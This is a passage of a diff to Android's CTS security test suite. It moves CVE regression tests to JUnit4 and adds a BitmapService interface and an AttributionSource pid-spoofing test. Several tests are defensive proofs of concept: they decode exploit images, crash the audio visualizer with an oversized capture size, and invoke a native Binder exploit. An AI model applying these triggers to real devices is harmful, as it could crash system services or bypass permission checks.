-        assertThat(currentPackage).isEqualTo(SYSTEMUI_PACKAGE_NAME);
-
-        // Click the done button
-        if (mHasTouchScreen) {
-            mDevice.findObject(
-                    By.res(SYSTEMUI_PACKAGE_NAME, RESOURCE_INTERNET_DIALOG_DONE)).click();
-            mDevice.wait(Until.hasObject(By.pkg(mLauncherPackage).depth(0)), TIMEOUT);
-        } else {
-            mDevice.pressBack();
-        }
-
-        // Assert that we have left the panel
-        currentPackage = mDevice.getCurrentPackageName();
-        assertThat(currentPackage).isNotEqualTo(SYSTEMUI_PACKAGE_NAME);
-    }
-
-    @Test
     public void volumePanel_doneClosesPanel() {
         assumeTrue(mHasTouchScreen);
         // Launch panel
@@ -257,21 +224,6 @@
         launchPanel(Settings.Panel.ACTION_VOLUME);
     }
 
-    private void launchInternetDialog() {
-        // Start from the home screen
-        mDevice.pressHome();
-        mDevice.wait(Until.hasObject(By.pkg(mLauncherPackage).depth(0)), TIMEOUT);
-
-        Intent intent = new Intent(Settings.Panel.ACTION_INTERNET_CONNECTIVITY);
-        intent.addFlags(Intent.FLAG_RECEIVER_FOREGROUND)
-                .setPackage(SYSTEMUI_PACKAGE_NAME);
-
-        mContext.sendBroadcast(intent);
-
-        // Wait for the app to appear
-        mDevice.wait(Until.hasObject(By.pkg(SYSTEMUI_PACKAGE_NAME).depth(0)), TIMEOUT);
-    }
-
     private void launchNfcPanel() {
         assumeTrue(mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_NFC));
         launchPanel(Settings.Panel.ACTION_NFC);
diff --git a/tests/tests/security/Android.bp b/tests/tests/security/Android.bp
index 5838d27..b82b188 100644
--- a/tests/tests/security/Android.bp
+++ b/tests/tests/security/Android.bp
@@ -33,6 +33,7 @@
         "compatibility-common-util-devicesidelib",
         "guava",
         "platform-test-annotations",
+        "sts-device-util",
         "hamcrest-library",
     ],
     libs: [
@@ -60,6 +61,7 @@
         "src/**/*.java",
         "src/**/*.kt",
         "src/android/security/cts/activity/ISecureRandomService.aidl",
+        "aidl/android/security/cts/IBitmapService.aidl",
         "aidl/android/security/cts/IIsolatedService.aidl",
         "aidl/android/security/cts/CVE_2021_0327/IBadProvider.aidl",
     ],
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index 17aa9e8..e43d6aa 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -48,6 +48,10 @@
 
         <service android:name="android.security.cts.activity.SecureRandomService"
              android:process=":secureRandom"/>
+
+        <service android:name="android.security.cts.BitmapService"
+                 android:process=":bitmap_service" />
+
         <activity android:name="android.security.cts.MotionEventTestActivity"
              android:label="Test MotionEvent"
              android:exported="true">
diff --git a/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl b/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl
new file mode 100644
index 0000000..b9694c3
--- /dev/null
+++ b/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl
@@ -0,0 +1,25 @@
+/*
+ * Copyright 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+parcelable BitmapWrapper;
+
+interface IBitmapService {
+    int getAllocationSize(in BitmapWrapper bitmap);
+    boolean didReceiveBitmap(in BitmapWrapper bitmap);
+    boolean ping();
+}
diff --git a/tests/tests/security/res/raw/cve_2020_11135.mp4 b/tests/tests/security/res/raw/cve_2020_11135.mp4
new file mode 100644
index 0000000..55b6955
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2020_11135.mp4
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
index 9480251..f16b8fb 100644
--- a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
@@ -15,26 +15,30 @@
  */
 package android.security.cts;
 
+import static org.junit.Assert.*;
+
 import android.app.ActivityManager;
 import android.app.ApplicationExitInfo;
 import android.content.Context;
 import android.os.IBinder;
 import android.platform.test.annotations.AsbSecurityTest;
 import android.util.Log;
+import androidx.test.runner.AndroidJUnit4;
 
 import androidx.test.InstrumentationRegistry;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 import junit.framework.TestCase;
 
 import java.lang.reflect.InvocationTargetException;
 
-public class ActivityManagerTest extends TestCase {
+import org.junit.runner.RunWith;
+import org.junit.Test;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-    }
+@RunWith(AndroidJUnit4.class)
+public class ActivityManagerTest extends StsExtraBusinessLogicTestCase {
 
     @AsbSecurityTest(cveBugId = 19394591)
+    @Test
     public void testActivityManager_injectInputEvents() throws ClassNotFoundException {
         try {
             /*
@@ -53,6 +57,7 @@
 
     // b/144285917
     @AsbSecurityTest(cveBugId = 144285917)
+    @Test
     public void testActivityManager_attachNullApplication() {
         SecurityException securityException = null;
         Exception unexpectedException = null;
@@ -81,6 +86,7 @@
 
     // b/166667403
     @AsbSecurityTest(cveBugId = 166667403)
+    @Test
     public void testActivityManager_appExitReasonPackageNames() {
         final String mockPackage = "com.foo.bar";
         final String realPackage = "com.android.compatibility.common.deviceinfo";
diff --git a/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java b/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java
index 5d297c6..fca75a2 100644
--- a/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java
+++ b/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java
@@ -19,21 +19,28 @@
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
 import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import static org.junit.Assert.*;
 
 import java.io.InputStream;
 
 import android.security.cts.R;
 
-public class AllocatePixelRefIntOverflowTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class AllocatePixelRefIntOverflowTest extends StsExtraBusinessLogicTestCase {
 
     /**
      * Verifies that the device is not vulnerable to ANDROID-19270126: Android
      * BitmapFactory.decodeStream JPG allocPixelRef integer overflow
      */
     @AsbSecurityTest(cveBugId = 19394591)
+    @Test
     public void testAllocateJavaPixelRefIntOverflow() {
-        InputStream exploitImage = mContext.getResources().openRawResource(
+        InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(
                 R.raw.cve_2015_1531_b_19270126);
         /**
          * The decodeStream method results in SIGSEGV (Segmentation fault) on unpatched devices
diff --git a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
index 73536e3..397c012 100644
--- a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
+++ b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.test.AndroidTestCase;
+import static org.junit.Assert.fail;
 
 import android.app.Activity;
 import android.os.BaseBundle;
@@ -27,21 +27,29 @@
 import android.view.View;
 import android.view.View.BaseSavedState;
 import android.annotation.SuppressLint;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
 import java.io.InputStream;
 import java.lang.reflect.Field;
 import java.util.Random;
 
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
 import android.security.cts.R;
 import android.platform.test.annotations.AsbSecurityTest;
 
-public class AmbiguousBundlesTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class AmbiguousBundlesTest extends StsExtraBusinessLogicTestCase {
 
     /**
      * b/140417434
      * Vulnerability Behaviour: Failure via Exception
      */
     @AsbSecurityTest(cveBugId = 140417434)
+    @Test
     public void test_android_CVE_2020_0082() throws Exception {
 
         Ambiguator ambiguator = new Ambiguator() {
@@ -180,6 +188,7 @@
      * b/71992105
      */
     @AsbSecurityTest(cveBugId = 71992105)
+    @Test
     public void test_android_CVE_2017_13310() throws Exception {
 
         Ambiguator ambiguator = new Ambiguator() {
@@ -270,6 +279,7 @@
      * b/71508348
      */
     @AsbSecurityTest(cveBugId = 71508348)
+    @Test
     public void test_android_CVE_2018_9339() throws Exception {
 
         Ambiguator ambiguator = new Ambiguator() {
@@ -373,6 +383,7 @@
      * b/62998805
      */
     @AsbSecurityTest(cveBugId = 62998805)
+    @Test
     public void test_android_CVE_2017_0806() throws Exception {
         Ambiguator ambiguator = new Ambiguator() {
             @Override
@@ -436,6 +447,7 @@
      * b/73252178
      */
     @AsbSecurityTest(cveBugId = 73252178)
+    @Test
     public void test_android_CVE_2017_13311() throws Exception {
         Ambiguator ambiguator = new Ambiguator() {
             @Override
@@ -530,6 +542,7 @@
      * b/71714464
      */
     @AsbSecurityTest(cveBugId = 71714464)
+    @Test
     public void test_android_CVE_2017_13287() throws Exception {
         Ambiguator ambiguator = new Ambiguator() {
             @Override
diff --git a/tests/tests/security/src/android/security/cts/AndroidFutureTest.java b/tests/tests/security/src/android/security/cts/AndroidFutureTest.java
index 7b26ff0..ca85b65 100644
--- a/tests/tests/security/src/android/security/cts/AndroidFutureTest.java
+++ b/tests/tests/security/src/android/security/cts/AndroidFutureTest.java
@@ -25,6 +25,7 @@
 
 import androidx.test.core.app.ApplicationProvider;
 import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
 import static org.junit.Assert.assertFalse;
 import org.junit.Test;
@@ -34,9 +35,9 @@
 import java.lang.reflect.Field;
 
 @RunWith(AndroidJUnit4.class)
-public class AndroidFutureTest {
+public class AndroidFutureTest extends StsExtraBusinessLogicTestCase {
 
-    @AsbSecurityTest(cveBugId = 186530450)
+    @AsbSecurityTest(cveBugId =  197228210)
     @Test
     public void testAndroidFutureReadThrowable() throws Exception {
         String filePath = "/data/system/" + System.currentTimeMillis();
diff --git a/tests/tests/security/src/android/security/cts/AssetManagerTest.java b/tests/tests/security/src/android/security/cts/AssetManagerTest.java
index 10e1c20..684fa6f 100644
--- a/tests/tests/security/src/android/security/cts/AssetManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/AssetManagerTest.java
@@ -19,13 +19,19 @@
 import android.content.res.AssetManager;
 import android.content.res.XmlResourceParser;
 import android.platform.test.annotations.AsbSecurityTest;
+import androidx.test.runner.AndroidJUnit4;
 
-import com.android.compatibility.common.util.CtsAndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
-public class AssetManagerTest extends CtsAndroidTestCase {
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class AssetManagerTest extends StsExtraBusinessLogicTestCase {
 
     // b/144028297
     @AsbSecurityTest(cveBugId = 144028297)
+    @Test
     public void testCloseThenFinalize() throws Exception {
         final XmlResourceParser[] parser = {null};
         final AssetManager[] assetManager = {AssetManager.class.newInstance()};
diff --git a/tests/tests/security/src/android/security/cts/AttributionSourceTest.java b/tests/tests/security/src/android/security/cts/AttributionSourceTest.java
new file mode 100644
index 0000000..e36fa49
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/AttributionSourceTest.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertThrows;
+
+import java.lang.reflect.Field;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import android.content.AttributionSource;
+import android.content.Context;
+import android.platform.test.annotations.AsbSecurityTest;
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.runner.AndroidJUnit4;
+
+@RunWith(AndroidJUnit4.class)
+public class AttributionSourceTest {
+
+    @AsbSecurityTest(cveBugId = 200288596)
+    @Test
+    public void testPidCheck() throws Exception {
+        Context context = ApplicationProvider.getApplicationContext();
+        AttributionSource attributionSource =
+                new AttributionSource(
+                        (AttributionSource)
+                                Context.class.getMethod("getAttributionSource").invoke(context),
+                        null);
+
+        Field attSourceStateField =
+                attributionSource.getClass().getDeclaredField("mAttributionSourceState");
+        attSourceStateField.setAccessible(true);
+
+        Object attSourceState = attSourceStateField.get(attributionSource);
+        attSourceState.getClass().getField("pid").setInt(attSourceState, 0);
+        final AttributionSource attributionSourceFinal = attributionSource;
+        assertThrows(SecurityException.class, () -> attributionSourceFinal.enforceCallingPid());
+    }
+}
+
diff --git a/tests/tests/security/src/android/security/cts/AudioSecurityTest.java b/tests/tests/security/src/android/security/cts/AudioSecurityTest.java
index 1e1878d..4c8fec8 100644
--- a/tests/tests/security/src/android/security/cts/AudioSecurityTest.java
+++ b/tests/tests/security/src/android/security/cts/AudioSecurityTest.java
@@ -23,14 +23,20 @@
 import android.platform.test.annotations.AsbSecurityTest;
 import android.util.Log;
 
-import com.android.compatibility.common.util.CtsAndroidTestCase;
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import static org.junit.Assert.*;
 
 import java.nio.ByteBuffer;
 import java.nio.ByteOrder;
 import java.util.Arrays;
 import java.util.UUID;
 
-public class AudioSecurityTest extends CtsAndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class AudioSecurityTest extends StsExtraBusinessLogicTestCase {
     private static final String TAG = "AudioSecurityTest";
 
     private static final int ERROR_DEAD_OBJECT = -7; // AudioEffect.ERROR_DEAD_OBJECT
@@ -58,30 +64,33 @@
 
     private static void testAllEffects(String testName, TestEffect testEffect) throws Exception {
         int failures = 0;
-        for (AudioEffect.Descriptor descriptor : AudioEffect.queryEffects()) {
-            final AudioEffect audioEffect;
-            try {
-                audioEffect = (AudioEffect)AudioEffect.class.getConstructor(
-                        UUID.class, UUID.class, int.class, int.class).newInstance(
-                                descriptor.type,
-                                descriptor.uuid, // uuid overrides type
-                                0 /* priority */, 0 /* audioSession */);
-            } catch (Exception e) {
-                Log.w(TAG, "effect " + testName + " " + descriptor.name
-                        + " cannot be created (ignoring)");
-                continue; // OK;
-            }
-            try {
-                testEffect.test(audioEffect);
-                Log.d(TAG, "effect " + testName + " " + descriptor.name + " success");
-            } catch (Exception e) {
-                Log.e(TAG, "effect " + testName + " " + descriptor.name + " exception failed!",
-                        e);
-                ++failures;
-            } catch (AssertionError e) {
-                Log.e(TAG, "effect " + testName + " " + descriptor.name + " assert failed!",
-                        e);
-                ++failures;
+        AudioEffect.Descriptor[] descriptors = AudioEffect.queryEffects();
+        if (descriptors != null) {
+            for (AudioEffect.Descriptor descriptor : descriptors) {
+                final AudioEffect audioEffect;
+                try {
+                    audioEffect = (AudioEffect)AudioEffect.class.getConstructor(
+                            UUID.class, UUID.class, int.class, int.class).newInstance(
+                                    descriptor.type,
+                                    descriptor.uuid, // uuid overrides type
+                                    0 /* priority */, 0 /* audioSession */);
+                } catch (Exception e) {
+                    Log.w(TAG, "effect " + testName + " " + descriptor.name
+                            + " cannot be created (ignoring)");
+                    continue; // OK;
+                }
+                try {
+                    testEffect.test(audioEffect);
+                    Log.d(TAG, "effect " + testName + " " + descriptor.name + " success");
+                } catch (Exception e) {
+                    Log.e(TAG, "effect " + testName + " " + descriptor.name + " exception failed!",
+                            e);
+                    ++failures;
+                } catch (AssertionError e) {
+                    Log.e(TAG, "effect " + testName + " " + descriptor.name + " assert failed!",
+                            e);
+                    ++failures;
+                }
             }
         }
         assertEquals("found " + testName + " " + failures + " failures",
@@ -90,6 +99,7 @@
 
     // b/28173666
     @AsbSecurityTest(cveBugId = 28173666)
+    @Test
     public void testAllEffectsGetParameterAttemptOffload_CVE_2016_3745() throws Exception {
         testAllEffects("get parameter attempt offload",
                 new TestEffect() {
@@ -104,6 +114,7 @@
     // b/32624850
     // b/32635664
     @AsbSecurityTest(cveBugId = 32438594)
+    @Test
     public void testAllEffectsGetParameter2AttemptOffload_CVE_2017_0398() throws Exception {
         testAllEffects("get parameter2 attempt offload",
                 new TestEffect() {
@@ -116,6 +127,7 @@
 
     // b/30204301
     @AsbSecurityTest(cveBugId = 30204301)
+    @Test
     public void testAllEffectsSetParameterAttemptOffload_CVE_2016_3924() throws Exception {
         testAllEffects("set parameter attempt offload",
                 new TestEffect() {
@@ -128,6 +140,7 @@
 
     // b/37536407
     @AsbSecurityTest(cveBugId = 32448258)
+    @Test
     public void testAllEffectsEqualizer_CVE_2017_0401() throws Exception {
         testAllEffects("equalizer get parameter name",
                 new TestEffect() {
@@ -355,6 +368,7 @@
 
     // b/31781965
     @AsbSecurityTest(cveBugId = 31781965)
+    @Test
     public void testVisualizerCapture_CVE_2017_0396() throws Exception {
         // Capture params
         final int CAPTURE_SIZE = 1 << 24; // 16MB seems to be large enough to cause a SEGV.
@@ -371,89 +385,93 @@
         final int bufferSize = bufferSamples * 2; // bytes per sample for 16 bits
         final short data[] = new short[bufferSamples]; // zero data
 
-        for (AudioEffect.Descriptor descriptor : AudioEffect.queryEffects()) {
-            if (descriptor.type.compareTo(UUID.fromString(VISUALIZER_TYPE)) != 0) {
-                continue;
-            }
-
-            AudioEffect audioEffect = null;
-            AudioTrack audioTrack = null;
-
-            try {
-                // create track and play
-                {
-                    audioTrack = new AudioTrack(AudioManager.STREAM_MUSIC, sampleRate,
-                            AudioFormat.CHANNEL_OUT_STEREO, format, bufferSize,
-                            AudioTrack.MODE_STATIC);
-                    assertEquals("Cannot write to audio track",
-                            bufferSamples,
-                            audioTrack.write(data, 0 /* offsetInBytes */, data.length));
-                    assertEquals("AudioTrack not initialized",
-                            AudioTrack.STATE_INITIALIZED,
-                            audioTrack.getState());
-                    assertEquals("Cannot set loop points",
-                            android.media.AudioTrack.SUCCESS,
-                            audioTrack.setLoopPoints(0 /* startInFrames */, bufferFrames, loops));
-                    audioTrack.play();
+        AudioEffect.Descriptor[] descriptors = AudioEffect.queryEffects();
+        if (descriptors != null) {
+            for (AudioEffect.Descriptor descriptor : descriptors) {
+                if (descriptor.type.compareTo(UUID.fromString(VISUALIZER_TYPE)) != 0) {
+                    continue;
                 }
 
-                // wait for track to really begin playing
-                Thread.sleep(200 /* millis */);
+                AudioEffect audioEffect = null;
+                AudioTrack audioTrack = null;
 
-                // create effect
-                {
-                    audioEffect = (AudioEffect) AudioEffect.class.getConstructor(
-                            UUID.class, UUID.class, int.class, int.class).newInstance(
-                                    descriptor.type, descriptor.uuid, 0 /* priority */,
-                                    audioTrack.getAudioSessionId());
-                }
+                try {
+                    // create track and play
+                    {
+                        audioTrack = new AudioTrack(AudioManager.STREAM_MUSIC, sampleRate,
+                                AudioFormat.CHANNEL_OUT_STEREO, format, bufferSize,
+                                AudioTrack.MODE_STATIC);
+                        assertEquals("Cannot write to audio track",
+                                bufferSamples,
+                                audioTrack.write(data, 0 /* offsetInBytes */, data.length));
+                        assertEquals("AudioTrack not initialized",
+                                AudioTrack.STATE_INITIALIZED,
+                                audioTrack.getState());
+                        assertEquals("Cannot set loop points",
+                                android.media.AudioTrack.SUCCESS,
+                                audioTrack.setLoopPoints(
+                                        0 /* startInFrames */, bufferFrames, loops));
+                        audioTrack.play();
+                    }
 
-                // set capture size
-                {
-                    byte command[] = ByteBuffer.allocate(5 * 4 /* capacity */)
-                            .order(ByteOrder.nativeOrder())
-                            .putInt(0)                             // status (unused)
-                            .putInt(4)                             // psize (sizeof(param))
-                            .putInt(4)                             // vsize (sizeof(value))
-                            .putInt(VISUALIZER_PARAM_CAPTURE_SIZE) // data[0] (param)
-                            .putInt(CAPTURE_SIZE)                  // data[4] (value)
-                            .array();
+                    // wait for track to really begin playing
+                    Thread.sleep(200 /* millis */);
 
-                    Integer ret = (Integer) AudioEffect.class.getDeclaredMethod(
-                            "command", int.class, byte[].class, byte[].class).invoke(
-                                    audioEffect,
-                                    EFFECT_CMD_SET_PARAM,
-                                    command, new byte[4] /* reply */);
-                    Log.d(TAG, "setparam returns " + ret);
-                    assertTrue("Audio server might have crashed", ret != ERROR_DEAD_OBJECT);
-                }
+                    // create effect
+                    {
+                        audioEffect = (AudioEffect) AudioEffect.class.getConstructor(
+                                UUID.class, UUID.class, int.class, int.class).newInstance(
+                                        descriptor.type, descriptor.uuid, 0 /* priority */,
+                                        audioTrack.getAudioSessionId());
+                    }
 
-                // enable effect
-                {
-                    final int ret = audioEffect.setEnabled(true);
-                    assertEquals("Cannot enable audio effect", 0 /* expected */, ret);
-                }
+                    // set capture size
+                    {
+                        byte command[] = ByteBuffer.allocate(5 * 4 /* capacity */)
+                                .order(ByteOrder.nativeOrder())
+                                .putInt(0)                             // status (unused)
+                                .putInt(4)                             // psize (sizeof(param))
+                                .putInt(4)                             // vsize (sizeof(value))
+                                .putInt(VISUALIZER_PARAM_CAPTURE_SIZE) // data[0] (param)
+                                .putInt(CAPTURE_SIZE)                  // data[4] (value)
+                                .array();
 
-                // wait for track audio data to be processed, otherwise capture
-                // will not really return audio data.
-                Thread.sleep(200 /* millis */);
+                        Integer ret = (Integer) AudioEffect.class.getDeclaredMethod(
+                                "command", int.class, byte[].class, byte[].class).invoke(
+                                        audioEffect,
+                                        EFFECT_CMD_SET_PARAM,
+                                        command, new byte[4] /* reply */);
+                        Log.d(TAG, "setparam returns " + ret);
+                        assertTrue("Audio server might have crashed", ret != ERROR_DEAD_OBJECT);
+                    }
 
-                // capture data
-                {
-                    Integer ret = (Integer) AudioEffect.class.getDeclaredMethod(
-                            "command", int.class, byte[].class, byte[].class).invoke(
-                                    audioEffect,
-                                    VISUALIZER_CMD_CAPTURE,
-                                    new byte[0] /* command */, captureBuf /* reply */);
-                    Log.d(TAG, "capture returns " + ret);
-                    assertTrue("Audio server might have crashed", ret != ERROR_DEAD_OBJECT);
-                }
-            } finally {
-                if (audioEffect != null) {
-                    audioEffect.release();
-                }
-                if (audioTrack != null) {
-                    audioTrack.release();
+                    // enable effect
+                    {
+                        final int ret = audioEffect.setEnabled(true);
+                        assertEquals("Cannot enable audio effect", 0 /* expected */, ret);
+                    }
+
+                    // wait for track audio data to be processed, otherwise capture
+                    // will not really return audio data.
+                    Thread.sleep(200 /* millis */);
+
+                    // capture data
+                    {
+                        Integer ret = (Integer) AudioEffect.class.getDeclaredMethod(
+                                "command", int.class, byte[].class, byte[].class).invoke(
+                                        audioEffect,
+                                        VISUALIZER_CMD_CAPTURE,
+                                        new byte[0] /* command */, captureBuf /* reply */);
+                        Log.d(TAG, "capture returns " + ret);
+                        assertTrue("Audio server might have crashed", ret != ERROR_DEAD_OBJECT);
+                    }
+                } finally {
+                    if (audioEffect != null) {
+                        audioEffect.release();
+                    }
+                    if (audioTrack != null) {
+                        audioTrack.release();
+                    }
                 }
             }
         }
diff --git a/tests/tests/security/src/android/security/cts/BigRleTest.java b/tests/tests/security/src/android/security/cts/BigRleTest.java
index 20ac03a..f441c78 100644
--- a/tests/tests/security/src/android/security/cts/BigRleTest.java
+++ b/tests/tests/security/src/android/security/cts/BigRleTest.java
@@ -18,14 +18,19 @@
 
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
 import java.io.InputStream;
 
 import android.platform.test.annotations.AsbSecurityTest;
 import android.security.cts.R;
 
-public class BigRleTest extends AndroidTestCase {
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class BigRleTest extends StsExtraBusinessLogicTestCase {
     /**
      * Verifies that the device does not run OOM decoding a particular RLE encoded BMP.
      *
@@ -33,8 +38,9 @@
      * we attempted to allocate space for all the encoded data at once, resulting in OOM.
      */
     @AsbSecurityTest(cveBugId = 33251605)
+    @Test
     public void test_android_bug_33251605() {
-        InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_33251605);
+        InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(R.raw.bug_33251605);
         Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
     }
 }
diff --git a/tests/tests/security/src/android/security/cts/BinderExploitTest.java b/tests/tests/security/src/android/security/cts/BinderExploitTest.java
index 7516e5b..aa7a360 100644
--- a/tests/tests/security/src/android/security/cts/BinderExploitTest.java
+++ b/tests/tests/security/src/android/security/cts/BinderExploitTest.java
@@ -40,8 +40,8 @@
 import java.io.InputStreamReader;
 
 import static org.junit.Assert.assertTrue;
-import android.test.AndroidTestCase;
 import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 import android.platform.test.annotations.AsbSecurityTest;
 
 import java.util.ArrayList;
@@ -53,9 +53,14 @@
 import android.system.ErrnoException;
 import android.widget.TextView;
 
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
 import java.io.File;
 import java.util.List;
 
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
 class Exchange extends IBinderExchange.Stub {
     IBinder binder;
     BinderExploitTest.CVE_2019_2213_Activity xpl;
@@ -97,7 +102,8 @@
     public native void runxpl(String pipedir);
 }
 
-public class BinderExploitTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class BinderExploitTest extends StsExtraBusinessLogicTestCase {
 
     static final String TAG = BinderExploitTest.class.getSimpleName();
     private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
@@ -115,6 +121,7 @@
      * b/141496757
      */
     @AsbSecurityTest(cveBugId = 133758011)
+    @Test
     public void testPoc_cve_2019_2213() throws Exception {
         Log.i(TAG, String.format("%s", "testPoc_cve_2019_2213 start..."));
 
diff --git a/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java b/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java
index 444b110..9b9ea1f 100644
--- a/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java
+++ b/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java
@@ -18,14 +18,18 @@
 
 import android.graphics.BitmapFactory;
 import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
-
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+import static org.junit.Assert.*;
 import android.security.cts.R;
 
 import java.io.BufferedInputStream;
 import java.io.InputStream;
 
-public class BitmapFactoryDecodeStreamTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class BitmapFactoryDecodeStreamTest extends StsExtraBusinessLogicTestCase {
     /*
      * This test case reproduces the bug in CVE-2015-1532.
      * It verifies that the BitmapFactory:decodeStream method is not vulnerable
@@ -33,23 +37,26 @@
      * npTc chunk.
      */
     @AsbSecurityTest(cveBugId = 19151999)
+    @Test
     public void testNinePatchHeapOverflow() throws Exception {
-        InputStream inStream = new BufferedInputStream(mContext.getResources().openRawResource(
+        InputStream inStream = new BufferedInputStream(getInstrumentation().getContext().getResources().openRawResource(
                 R.raw.cve_2015_1532));
         BitmapFactory.decodeStream(inStream);
 
     }
 
     @AsbSecurityTest(cveBugId = 36724453)
+    @Test
     public void testPocCVE_2017_0691() throws Exception {
-        InputStream exploitImage = new BufferedInputStream(mContext.getResources().openRawResource(
+        InputStream exploitImage = new BufferedInputStream(getInstrumentation().getContext().getResources().openRawResource(
                 R.raw.cve_2017_0691));
         BitmapFactory.decodeStream(exploitImage);
     }
 
     @AsbSecurityTest(cveBugId = 65290323)
+    @Test
     public void test_b65290323() throws Exception {
-        InputStream exploitImage = new BufferedInputStream(mContext.getResources().openRawResource(
+        InputStream exploitImage = new BufferedInputStream(getInstrumentation().getContext().getResources().openRawResource(
                 R.raw.b65290323));
         BitmapFactory.decodeStream(exploitImage);
     }
diff --git a/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java b/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
index b1de686..c77b7dd 100644
--- a/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
+++ b/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
@@ -16,10 +16,15 @@
 
 package android.security.cts;
 
+import static org.junit.Assert.*;
+
+import android.content.Context;
 import android.graphics.BitmapFactory;
 import android.os.ParcelFileDescriptor;
 import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
 
 import java.io.File;
 import java.io.FileDescriptor;
@@ -27,13 +32,16 @@
 import java.io.InputStream;
 
 import java.lang.Exception;
+import org.junit.runner.RunWith;
+import org.junit.Test;
 
 import android.security.cts.R;
 
-public class BitmapFactorySecurityTests extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class BitmapFactorySecurityTests extends StsExtraBusinessLogicTestCase {
     private FileDescriptor getResource(int resId) {
         try {
